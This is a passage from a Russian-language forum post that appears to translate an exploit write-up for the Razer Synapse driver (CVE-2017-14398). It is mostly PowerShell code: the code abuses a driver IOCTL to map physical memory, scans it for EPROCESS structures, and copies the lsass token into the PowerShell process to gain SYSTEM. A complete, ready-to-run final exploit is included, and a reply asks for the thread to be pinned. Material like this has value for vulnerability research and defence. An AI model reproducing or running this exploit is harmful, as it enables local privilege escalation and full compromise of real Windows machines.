    [Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
    [Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
    echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
 
    # NTSTATUS ZwMapViewOfSection(
    #   _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
    #   _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
    #   _Inout_     PVOID           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
    #   _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
    #   _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
    #   _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
    #   _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
    #   _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
    #   _In_        ULONG           AllocationType,     | 0 -> Undocumented?
    #   _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
    # );
    $InBuffer = @(
        [System.BitConverter]::GetBytes($hPoshProc.ToInt64()) +      # Param 1 - RDX=ProcessHandle
        [System.BitConverter]::GetBytes([Int64]0x0) +                # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
        [System.BitConverter]::GetBytes($SystemSectionHandle) +      # Param 3 - RCX=SectionHandle
        [System.BitConverter]::GetBytes([Int64]4) +                  # Param 4 - ? junk ?
        [System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) +     # Param 5 - CommitSize / ViewSize (1mb)
        [System.BitConverter]::GetBytes([Int64]4)                    # Param 6 - ? junk ?
    )
 
    # Output buffer
    $OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
    # Ptr receiving output byte count
    $IntRet = 0
 
    #=======
    # 0x22a050 - ZwOpenProcess
    # 0x22A064 - ZwMapViewOfSection
    #=======
    $CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
    if (!$CallResult) {
        echo "`n[!] DeviceIoControl failed..`n"
        Return
    }
 
    #----------------[Read out the result buffer]
    echo "`n[>] Verifying ZwMapViewOfSection.."
    $NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
    $Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
    if ($NTSTATUS -eq 0) {
        echo "[+] NTSTATUS Success!"
        echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
    } else {
        echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
    }
}

Запустив наш новый POC, мы получим следующий вывод.

10.png


Обратите внимание, что мы измеряем статус success, читая код NTSTATUS, и что Int64, который ранее был 0, теперь возвращает адрес в нашем локальном процессе, где был отображен раздел. Посмотрев в Process Hacker, мы увидим неплохое безвредное распределение памяти ровно 1024 КБ.

11.png


Используя Process Hacker, мы можем сохранить этот чанк памяти на диск. Если мы сделаем это и сделаем прокрутку, мы увидим некоторые забавные вещи, как показано ниже.

12.png


Мы в значительной степени доказали уязвимость, но как теперь получить оболочку SYSTEM?

Охота на EPROCESS

Самый простой способ, которым мы можем эксплуатировать, - это классическая атака кражи токенов. Трудность в том, чтобы найти структуру EPROCESS в нашей отображенной памяти. Некоторые исследования WinDBG показывают, что структура EPROCESS размещена в пуле "Proc".

13.png


Вычитая начало фрагмента пула "Proc" из указателя EPROCESS, мы также сразу получаем размер заголовка. И наоборот, если у нас есть произвольный адрес пула "Proc", мы можем вычислить местоположение любого свойства в структуре EPROCESS.

14.png



Если вы хотите посмотреть эти смещения, зависящие от архитектуры/версии, не переходя в отладчик KD, вы можете использовать Terminus Project. Это отличный ресурс от @rwfpl, который много раз экономил мне время!

Таким образом, мы эффективно сократили нашу проблему до нахождения кусков пула "Proc", но пока это не похоже на победу. Чтобы найти эти куски, мы можем отсканировать отображаемую секцию на наличие уникального тега пула 'Proc'.

15.png


В целях оптимизации, обратите внимание, что куски пула выровнены по границе в 0x10. По сути, это означает, что нам нужно только читать один DWORD каждые 16 байтов. Это не так много, но экономит драгоценное время. Несмотря на это, поиск был очень медленным, так как фрагменты пула "Proc" начали появляться после ~ 900 МБ. Для дальнейшей оптимизации поиска мы можем начать сканирование сопоставленной памяти со смещением 0x30000000 (0x30000000/(1024 * 1024) = 768 МБ), оставляя достаточно различий для разных версий ОС.

Чтобы проверить теорию, мы можем использовать следующий цикл (в отображенном разделе размером 1,2 ГБ), чтобы найти фрагменты пула 'Proc' и сдампить некоторые данные EPROCESS для подтверждения.

Код:
echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
 
    # Read potential pooltag
    $Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
 
    # If pooltag matches Proc, pull out details..
    if ($Val -eq 0xe36f7250) {
        echo "[+] w00t Proc chunk found!"
        $ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
        $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
        $ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
        echo "[>] Address: $('{0:X}' -f $($Address+$i))"
        echo "[>] $ProcessName"
        echo "[>] $ProcID"
        echo "[>] Token: $('{0:X}' -f $Token)"
        echo "==========================================="
    }
}

Часть результата показана ниже.

16.png


Как видите, эта реализация не идеальна, некоторые имена изображений усекаются, а небольшое количество обнаружений вообще не является структурами EPROCESS. К счастью, я обнаружил, что большинство процессов гарантированно были обнаружены правильно (включая PowerShell/lsass).

Конец игры

Осталось лишь слегка изменить вышеприведенный цикл, чтобы он записывал токен lsass и местоположение токена PowerShell. Как только оба элемента найдены, мы можем просто перезаписать токен PowerShell и достигнуть токена SYSTEM! Хотя могут потребоваться некоторые эксперименты, портирование этого эксплоита на 8,8.1,10 должен быть довольно простым упражнением. Единственными соображениями будут изменения в структуре EPROCESS и разработка стратегии для работы с несколькими дескрипторами секций в процессе System. Финальный эксплойт показан ниже.

Код:
function RZ-ZwMapViewOfSection {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
 
    public static class Razer
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CreateFile(
            String lpFileName,
            UInt32 dwDesiredAccess,
            UInt32 dwShareMode,
            IntPtr lpSecurityAttributes,
            UInt32 dwCreationDisposition,
            UInt32 dwFlagsAndAttributes,
            IntPtr hTemplateFile);
 
        [DllImport("Kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            int IoControlCode,
            byte[] InBuffer,
            int nInBufferSize,
            IntPtr OutBuffer,
            int nOutBufferSize,
            ref int pBytesReturned,
            IntPtr Overlapped);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            UInt32 flAllocationType,
            UInt32 flProtect);
 
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(
            UInt32 processAccess,
            bool bInheritHandle,
            int processId);
    }
"@

    #----------------[Helper Funcs]
    $CVE201714398 = @"

                    shhsddh
          shhy      Mhsdms
         mmyydN     hNh  
        hM syyMdds   smNy
shyshy  Nd s sMshNs  yssmm      Razer Synapse EOP - CVE-2017-14398
shhdh hNs   dNNNddmdsd yMs
    sddds   mhydNmddmdmddy
           dMdhy                            [by b33f -> @FuzzySec]
          dNsyyss        
          smmdddmmmddmh    
                   yhmh
                   hdd  
                    yd  
"@

    $CVE201714398

    #----------------[Helper Funcs]
    function Get-Handles {
    <#
    .SYNOPSIS
        Use NtQuerySystemInformation::SystemHandleInformation to get a list of
        open handles in the specified process, works on x32/x64.
        Notes:
 
        * For more robust coding I would recomend using @mattifestation's
        Get-NtSystemInformation.ps1 part of PowerShellArsenal.
 
    .DESCRIPTION
        Author: Ruben Boonen (@FuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
 
    .EXAMPLE
        C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
        C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
        C:\PS> $Key |ft
 
        ObjectType AccessMask PID Handle HandleFlags KernelPointer
        ---------- ---------- --- ------ ----------- -------------
        Key        0x00000000   4 0x004C NONE        0xFFFFC9076FC29BC0
        Key        0x00020000   4 0x0054 NONE        0xFFFFC9076FCDA7F0
        Key        0x000F0000   4 0x0058 NONE        0xFFFFC9076FC39CE0
        Key        0x00000000   4 0x0090 NONE        0xFFFFC907700A6B40
        Key        0x00000000   4 0x0098 NONE        0xFFFFC90770029F70
        Key        0x00020000   4 0x00A0 NONE        0xFFFFC9076FC9C1A0
        [...Snip...]
    #>
 
        [CmdletBinding()]
        param (
            [Parameter(Mandatory = $True)]
            [int]$ProcID
        )
     
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        using System.Security.Principal;
     
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct SYSTEM_HANDLE_INFORMATION
        {
            public UInt32 ProcessID;
            public Byte ObjectTypeNumber;
            public Byte Flags;
            public UInt16 HandleValue;
            public IntPtr Object_Pointer;
            public UInt32 GrantedAccess;
        }
     
        public static class GetHandles
        {
            [DllImport("ntdll.dll")]
            public static extern int NtQuerySystemInformation(
                int SystemInformationClass,
                IntPtr SystemInformation,
                int SystemInformationLength,
                ref int ReturnLength);
        }
"@
 
        # Make sure the PID exists
        if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
            Return
        }
 
        # Flag switches (0 = NONE?)
        $FlagSwitches = @{
            0 = 'NONE'
            1 = 'PROTECT_FROM_CLOSE'
            2 = 'INHERIT'
        }
     
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        switch ($OSMajorMinor)
        {
            '10.0' # Windows 10 (Tested on v1511)
            {
                # Win 10 v1703
                if ($OSVersion.Build -ge 15063) {
                    $TypeSwitches = @{
                        0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
                        0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
                        0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
                        0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
                        0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
                        0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
                        0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
                        0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
                        0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
                        0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
                        0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
                        0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
                        0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
                        0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
                        0x2d = 'ALPC Port'; 0x20 = 'Driver';
                    }
                }
             
                # Win 10 v1607
                if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
                    $TypeSwitches = @{
                        0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
                        0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
                        0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
                        0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
                        0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
                        0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
                        0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
                        0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
                        0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
                        0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
                        0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
                        0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
                        0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
                    }
                }
             
                # Win 10 v1511
                if ($OSVersion.Build -lt 14393) {
                    $TypeSwitches = @{
                        0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                        0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                        0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
                        0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                        0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
                        0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                        0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                        0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
                        0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
                        0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
                        0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
                        0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
                    }
                }
            }
         
            '6.2' # Windows 8 and Windows Server 2012
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                    0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
                    0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
                    0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                    0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                    0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
                    0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
                    0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
                    0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
                }
            }
     
            '6.1' # Windows 7 and Window Server 2008 R2
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
                    0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                    0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
                    0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
                    0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
                    0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
                    0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
                    0x2b = 'PcwObject';
                }
            }
     
            '6.0' # Windows Vista and Windows Server 2008
            {
                $TypeSwitches = @{
                    0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
                    0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
                    0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
                    0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
                    0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
                    0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
                    0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
                    0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
                }
            }
        }
 
        [int]$BuffPtr_Size = 0
        while ($true) {
            [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
            $SystemInformationLength = New-Object Int
     
            $CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
         
            # STATUS_INFO_LENGTH_MISMATCH
            if ($CallResult -eq 0xC0000004) {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
            }
            # STATUS_SUCCESS
            elseif ($CallResult -eq 0x00000000) {
                break
            }
            # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
            else {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                return
            }
        }
     
        $SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
        $SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
        if ([System.IntPtr]::Size -eq 4) {
            $SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
        } else {
            $SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
                                                # Ask no questions, hear no lies!
        }
     
        $BuffOffset = $BuffPtr.ToInt64()
        $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
        $BuffOffset = $BuffOffset + [System.IntPtr]::Size
     
        $SystemHandleArray = @()
        for ($i=0; $i -lt $HandleCount; $i++){
            # PtrToStructure only objects we are targeting, this is expensive computation
            if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
                $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
                $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
             
                $HashTable = @{
                    PID = $Cast.ProcessID
                    ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
                    HandleFlags = $FlagSwitches[[int]$Cast.Flags]
                    Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
                    KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
                    AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
                }
             
                $Object = New-Object PSObject -Property $HashTable
                $SystemHandleArray += $Object
             
            }
 
            $BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
        }
     
        if ($($SystemHandleArray.count) -eq 0) {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            Return
        }
     
        # Set column order and auto size
        $SystemHandleArray
     
        # Free SYSTEM_HANDLE_INFORMATION array
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
    }

    #----------------[Get Driver Handle]
 
    $hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
    [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
    if ($hDevice -eq -1) {
        echo "`n[!] Unable to get driver handle..`n"
        Return
    } else {
        echo "`n[>] Driver access OK.."
        echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
        echo "[+] Handle: $hDevice"
    }
 
    #----------------[Prepare buffer & Send IOCTL]
 
    # Get full access process handle to self
    echo "`n[>] Opening full access handle to PowerShell.."
    $hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
    echo "[+] PowerShell handle: $hPoshProc"
 
    # Get Section handle
    echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
    $SystemProcHandles = Get-Handles -ProcID 4
    [Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
    [Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
    echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
 
    # NTSTATUS ZwMapViewOfSection(
    #   _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
    #   _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
    #   _Inout_     PVOID           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
    #   _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
    #   _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
    #   _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
    #   _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
    #   _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
    #   _In_        ULONG           AllocationType,     | 0 -> Undocumented?
    #   _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
    # );
    $InBuffer = @(
        [System.BitConverter]::GetBytes($hPoshProc.ToInt64()) +      # Param 1 - RDX=ProcessHandle
        [System.BitConverter]::GetBytes([Int64]0x0) +                # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
        [System.BitConverter]::GetBytes($SystemSectionHandle) +      # Param 3 - RCX=SectionHandle
        [System.BitConverter]::GetBytes([Int64]4) +                  # Param 4 - ? junk ?
        [System.BitConverter]::GetBytes([Int64]$(1200*1024*1024)) +  # Param 5 - CommitSize / ViewSize
        [System.BitConverter]::GetBytes([Int64]4)                    # Param 6 - ? junk ?
    )
 
    # Output buffer
    $OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
    # Ptr receiving output byte count
    $IntRet = 0
 
    #=======
    # 0x22A064 - ZwMapViewOfSection
    #=======
    $CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
    if (!$CallResult) {
        echo "`n[!] DeviceIoControl failed..`n"
        Return
    }
 
    #----------------[Read out the result buffer]
    echo "`n[>] Verifying ZwMapViewOfSection.."
    $NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
    $Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
    if ($NTSTATUS -eq 0) {
        echo "[+] NTSTATUS Success!"
        echo "[+] 1.2GB RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)"
    } else {
        echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)"
    }

    #----------------[Parse PhysicalMemory]
    echo "`n[>] Parsing physical memory, coffee time..`n"
 
    # Store PwnCount so we can exit our loop!
    $PwnCount = 0
 
    for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
     
        # Read potential pooltag
        $Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
     
        # If pooltag matches Proc, pull out details..
        if ($Val -eq 0xe36f7250) {
     
            echo "[?] w00t Proc chunk found!"
            $ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
         
            if ($ProcessName -eq "powershell.exe") {
                $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
                $WriteWhere = $Address+$i+0x60+0x208
                echo "`n[>] PowerShell poolparty: $('{0:X}' -f $($Address+$i))"
                echo "[+] Token: $('{0:X}' -f $Token)`n"
                $PwnCount += 1
            }
         
            if ($ProcessName -eq "lsass.exe") {
                $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
                $WriteWhat = $Token
                echo "`n[>] LSASS poolparty: $('{0:X}' -f $($Address+$i))"
                echo "[+] Token: $('{0:X}' -f $Token)`n"
                $PwnCount += 1
            }
         
            # Check if PwnCount is 2
            if ($PwnCount -eq 2) {
                # Overwrite PowerShell token & exit
                echo "[>] Duplicating SYSTEM token..`n"
                [System.Runtime.InteropServices.Marshal]::WriteInt64($WriteWhere,$WriteWhat)
                Break
            }
        }
    }
}

17.png
 
Думаю эту тему нужно закрепить в шапке.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх